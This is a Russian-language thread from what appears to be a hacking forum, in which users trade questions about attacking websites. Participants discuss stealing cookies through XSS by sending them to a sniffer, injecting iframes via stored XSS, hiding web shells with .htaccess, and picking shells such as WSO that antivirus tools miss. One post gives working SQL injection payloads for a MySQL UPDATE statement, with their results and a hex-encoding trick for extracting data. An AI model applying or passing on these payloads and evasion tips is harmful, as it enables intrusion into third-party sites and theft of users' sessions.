Ваши вопросы по уязвимостям.

Сорри , за глупый вопрос.
При помощи активной xss , возможно перенаправление трафика ?
Всмысле если обнаружил активную ксс , могу ли я сливать траф с этого сайта ?

 

Если кто знает, подскажите бесплатный IRC сервер.

 

Если есть пассивная ксс, и я отправил кому-то адрес со скриптом который ворует печеньки, то куда они сохранятся(печеньки)? В изображение?

 

надо на снифер гнать куки, в картинку они не как не сохранятся

 

и как это сделать?

 

Сколько статей по xss не читал, нигде не встречал никакого сниффера.

 

ты их вобще читал?
https://forum.antichat.ru/showthread.php?t=20140
ето для кого написано?

 

http://forum.antichat.ru/thread104591.html в самом низу смотри...


Мне кто то может помочь ? Есть ли возможность , с помощью активки , внедрить ифрейм ?

 

может кто подробнее разложить, как спрятать шелл с помощью .htaccess ?

 

а сам тег <iframe> фильтруется? можно попробовать добавить на страницу через innerHTML

 

Подскажите какой shell лучше заливать,чтоб его не палил антивирус и разные скрипты?

 

самописный

 

А из таких что есть в паблике?Потому что писать только по русски могу.

 

а в чём проблема? вставляещь код фрейма и всё

никак

юзай всо и не парся поетому вопросу вобще

 

qaz ним и пользуюсь но где то читал что он много следов в логах оставляет,и антивирусами палиться.

 

Всем привет!

В UPDATE(MySQL) есть sqlinj. Как наиболее эффективно ей воспользоваться.

Есть кое какие ограничения:
-вывода ошибки нет, только алерт, что ошипке
-в поле зависать можно только число(если сделать подстановку)

Что пробовал:

Code:

'+(select(user()))+'

результат - пусто

Code:

a'+(select(user()))+'b

результат - пусто

Code:

1'+(select(3))+'2

результат 6

Code:

1'+(select('c'))+'2

результат 3

Code:

a'+(select('3'))+'b

результат 3

Code:

1'+(select(version()))+'2

результат - 8.1

Конечно можно blind'ануть, но придумал такой вариант:

Code:

'+(select(Replace(Replace(Replace(Replace(Replace(Replace(hex(user()),'F','006'),'E','005'),'D','004'),'C','003'),'B','002'),'A','001')))+'

Если текст небольшой,
результат - 00419100400021004182
иначе - 4.19100400021004e+17
По сравнению с blind'ом, вариант лучше, но и здесь есть минусы, т.к. при обратной конвертации 4.19100400021004e+17 дает 00419100400021004000

Еще была мысль закомментить оставшуюся часть запроса и update'нуть другое поле, но опасаюсь засветиться, т.к. хз что в where. Хотя по косвенным признакам можно id вытянуть, но боюсь он не цифровой.

Есть еще предложения, что можно сделать?

 

Подскажи пожалуйста где скачать последнюю версию?Не могу найти.

 

пожалуйста, сир. долго искали что не нашли? гугл сдох?

запрос "site:forum.antichat.ru wso" больше не работает?

http://forum.antichat.ru/thread103155.html

 

Konqi да видел я эту версию но незнал что она последяя.